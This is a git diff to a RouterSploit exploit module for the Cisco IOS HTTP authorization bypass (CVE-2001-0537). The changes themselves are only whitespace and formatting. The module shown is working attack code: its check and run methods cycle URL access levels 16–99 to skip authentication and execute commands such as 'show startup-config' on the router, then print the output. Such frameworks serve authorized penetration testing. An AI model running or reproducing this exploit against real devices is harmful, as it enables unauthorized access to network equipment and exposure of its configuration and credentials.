diff --git a/routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py b/routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py index 5695241d0..19672a8db 100644 --- a/routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py +++ b/routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py @@ -13,16 +13,16 @@ class Exploit(exploits.Exploit): """ This exploit targets a vulnerability in the Cisco IOS HTTP Server. By sending a GET request for the url "http://ip_address/level/{num}/exec/..", - it is possible to bypass authentication and execute any command. - Example: http://10.0.0.1/level/99/exec/show/startup/config + it is possible to bypass authentication and execute any command. + Example: http://10.0.0.1/level/99/exec/show/startup/config """ __info__ = { 'name': 'Cisco IOS HTTP Unauthorized Administrative Access', 'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers ' - 'to bypass authentication and execute arbitrary commands, ' - 'when local authorization is being used, by specifying a high access level in the URL.', + 'to bypass authentication and execute arbitrary commands, ' + 'when local authorization is being used, by specifying a high access level in the URL.', 'authors': [ - 'Author', 'Renos Stoikos rstoikos[at]gmail.com'# routesploit module + 'Author', 'Renos Stoikos rstoikos[at]gmail.com' # routesploit module ], 'references': [ 'http://www.cvedetails.com/cve/cve-2001-0537', @@ -32,10 +32,10 @@ class Exploit(exploits.Exploit): ], } - target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address + target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address port = exploits.Option(80, 'Target port') # default port show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config') - + def check(self): for num in range(16, 100): url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command) @@ -45,7 +45,7 @@ def check(self): elif response is None: return False # target is not vulnerable return False # target is not vulnerable - + def run(self): for num in range(16, 100): url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command) @@ -57,5 +57,4 @@ def run(self): print_info(response.text) break else: - print_error("Exploit failed - could not execute command for level",num) - + print_error("Exploit failed - could not execute command for level", num)